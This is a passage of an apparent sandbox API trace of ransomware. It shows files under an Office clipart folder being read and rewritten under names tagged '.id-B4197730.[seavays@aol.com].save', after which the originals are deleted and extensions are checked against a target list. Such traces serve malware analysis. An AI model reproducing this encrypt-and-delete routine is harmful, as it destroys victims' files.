dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0064.493] GetLastError () returned 0x0 [0064.493] ReadFile (in: hFile=0x38c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x1306, lpOverlapped=0x0) returned 1 [0064.495] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x1310, lpOverlapped=0x0) returned 1 [0064.496] ReadFile (in: hFile=0x38c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.496] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0064.496] SetEndOfFile (hFile=0x368) returned 1 [0064.496] CloseHandle (hObject=0x368) returned 1 [0064.497] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.497] SetEndOfFile (hFile=0x38c) returned 1 [0064.498] CloseHandle (hObject=0x38c) returned 1 [0064.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0064.499] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 1 [0064.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0064.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0064.499] lstrlenW (lpString=".doc") returned 4 [0064.499] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.499] lstrlenW (lpString=".docx") returned 5 [0064.499] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.500] lstrlenW (lpString=".pdf") returned 4 [0064.500] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.500] lstrlenW (lpString=".xls") returned 4 [0064.500] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.500] lstrlenW (lpString=".xlsx") returned 5 [0064.500] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.500] lstrlenW (lpString=".ppt") returned 4 [0064.500] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0064.500] lstrlenW (lpString=".zip") returned 4 [0064.500] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.500] lstrlenW (lpString=".rar") returned 4 [0064.500] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.500] lstrlenW (lpString=".bz2") returned 4 [0064.500] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.500] lstrlenW (lpString=".7z") returned 3 [0064.500] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0064.500] lstrlenW (lpString=".dbf") returned 4 [0064.501] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0064.501] lstrlenW (lpString=".1cd") returned 4 [0064.501] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0064.501] lstrlenW (lpString=".jpg") returned 4 [0064.501] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0064.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0064.501] lstrlenW (lpString=".doc") returned 4 [0064.501] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.501] lstrlenW (lpString=".docx") returned 5 [0064.501] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.501] lstrlenW (lpString=".pdf") returned 4 [0064.501] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.501] lstrlenW (lpString=".xls") returned 4 [0064.501] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.501] lstrlenW (lpString=".xlsx") returned 5 [0064.501] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.501] lstrlenW (lpString=".ppt") returned 4 [0064.501] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0064.501] lstrlenW (lpString=".zip") returned 4 [0064.501] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.501] lstrlenW (lpString=".rar") returned 4 [0064.501] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.501] lstrlenW (lpString=".bz2") returned 4 [0064.501] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.501] lstrlenW (lpString=".7z") returned 3 [0064.501] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0064.502] lstrlenW (lpString=".dbf") returned 4 [0064.502] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0064.502] lstrlenW (lpString=".1cd") returned 4 [0064.502] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0064.502] lstrlenW (lpString=".jpg") returned 4 [0064.502] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.502] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0064.502] lstrlenW (lpString="BD00141_.WMF") returned 12 [0064.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0064.502] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=26886) returned 1 [0064.502] CloseHandle (hObject=0x38c) returned 1 [0064.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x220 [0064.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0064.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0064.503] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.503] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0064.503] GetLastError () returned 0x0 [0064.503] ReadFile (in: hFile=0x38c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x6906, lpOverlapped=0x0) returned 1 [0064.505] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x6910, lpOverlapped=0x0) returned 1 [0064.506] ReadFile (in: hFile=0x38c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.506] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0064.507] SetEndOfFile (hFile=0x368) returned 1 [0064.507] CloseHandle (hObject=0x368) returned 1 [0064.508] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.508] SetEndOfFile (hFile=0x38c) returned 1 [0064.509] CloseHandle (hObject=0x38c) returned 1 [0064.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0064.510] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 1 [0064.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0064.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0064.510] lstrlenW (lpString=".doc") returned 4 [0064.510] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.510] lstrlenW (lpString=".docx") returned 5 [0064.510] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.510] lstrlenW (lpString=".pdf") returned 4 [0064.510] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.510] lstrlenW (lpString=".xls") returned 4 [0064.510] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.510] lstrlenW (lpString=".xlsx") returned 5 [0064.510] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.510] lstrlenW (lpString=".ppt") returned 4 [0064.510] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0064.510] lstrlenW (lpString=".zip") returned 4 [0064.510] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.510] lstrlenW (lpString=".rar") returned 4 [0064.511] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.511] lstrlenW (lpString=".bz2") returned 4 [0064.511] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.511] lstrlenW (lpString=".7z") returned 3 [0064.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0064.511] lstrlenW (lpString=".dbf") returned 4 [0064.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0064.511] lstrlenW (lpString=".1cd") returned 4 [0064.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0064.511] lstrlenW (lpString=".jpg") returned 4 [0064.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0064.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0064.511] lstrlenW (lpString=".doc") returned 4 [0064.511] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.511] lstrlenW (lpString=".docx") returned 5 [0064.511] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.511] lstrlenW (lpString=".pdf") returned 4 [0064.511] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.511] lstrlenW (lpString=".xls") returned 4 [0064.511] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.511] lstrlenW (lpString=".xlsx") returned 5 [0064.511] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.511] lstrlenW (lpString=".ppt") returned 4 [0064.511] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0064.511] lstrlenW (lpString=".zip") returned 4 [0064.512] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.512] lstrlenW (lpString=".rar") returned 4 [0064.512] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.512] lstrlenW (lpString=".bz2") returned 4 [0064.512] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.512] lstrlenW (lpString=".7z") returned 3 [0064.512] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0064.512] lstrlenW (lpString=".dbf") returned 4 [0064.512] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0064.512] lstrlenW (lpString=".1cd") returned 4 [0064.512] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0064.512] lstrlenW (lpString=".jpg") returned 4 [0064.512] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.512] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0064.512] lstrlenW (lpString="BD00146_.WMF") returned 12 [0064.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0064.513] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=28948) returned 1 [0064.513] CloseHandle (hObject=0x38c) returned 1 [0064.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x220 [0064.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0064.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0064.513] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.513] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0064.513] GetLastError () returned 0x0 [0064.513] ReadFile (in: hFile=0x38c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x7114, lpOverlapped=0x0) returned 1 [0064.991] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x7120, lpOverlapped=0x0) returned 1 [0064.992] ReadFile (in: hFile=0x38c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.992] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0064.992] SetEndOfFile (hFile=0x368) returned 1 [0064.993] CloseHandle (hObject=0x368) returned 1 [0064.994] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.994] SetEndOfFile (hFile=0x38c) returned 1 [0064.995] CloseHandle (hObject=0x38c) returned 1 [0064.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0064.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 1 [0064.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0064.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0064.996] lstrlenW (lpString=".doc") returned 4 [0064.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.996] lstrlenW (lpString=".docx") returned 5 [0064.996] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.996] lstrlenW (lpString=".pdf") returned 4 [0064.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.996] lstrlenW (lpString=".xls") returned 4 [0064.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.996] lstrlenW (lpString=".xlsx") returned 5 [0064.996] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.996] lstrlenW (lpString=".ppt") returned 4 [0064.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0064.996] lstrlenW (lpString=".zip") returned 4 [0064.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.996] lstrlenW (lpString=".rar") returned 4 [0064.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.996] lstrlenW (lpString=".bz2") returned 4 [0064.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.996] lstrlenW (lpString=".7z") returned 3 [0064.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0064.997] lstrlenW (lpString=".dbf") returned 4 [0064.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0064.997] lstrlenW (lpString=".1cd") returned 4 [0064.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0064.997] lstrlenW (lpString=".jpg") returned 4 [0064.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0064.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0064.997] lstrlenW (lpString=".doc") returned 4 [0064.997] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.997] lstrlenW (lpString=".docx") returned 5 [0064.997] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.997] lstrlenW (lpString=".pdf") returned 4 [0064.997] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.997] lstrlenW (lpString=".xls") returned 4 [0064.997] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.997] lstrlenW (lpString=".xlsx") returned 5 [0064.997] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.997] lstrlenW (lpString=".ppt") returned 4 [0064.997] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0064.997] lstrlenW (lpString=".zip") returned 4 [0064.997] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.997] lstrlenW (lpString=".rar") returned 4 [0064.997] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.997] lstrlenW (lpString=".bz2") returned 4 [0064.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.997] lstrlenW (lpString=".7z") returned 3 [0064.998] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0064.998] lstrlenW (lpString=".dbf") returned 4 [0064.998] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0064.998] lstrlenW (lpString=".1cd") returned 4 [0064.998] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0064.998] lstrlenW (lpString=".jpg") returned 4 [0064.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.998] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0064.998] lstrlenW (lpString="BD08868_.WMF") returned 12 [0064.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0064.998] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=40206) returned 1 [0064.998] CloseHandle (hObject=0x38c) returned 1 [0064.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x220 [0064.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0064.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0064.999] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.999] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0064.999] GetLastError () returned 0x0 [0064.999] ReadFile (in: hFile=0x38c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x9d0e, lpOverlapped=0x0) returned 1 [0065.001] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: 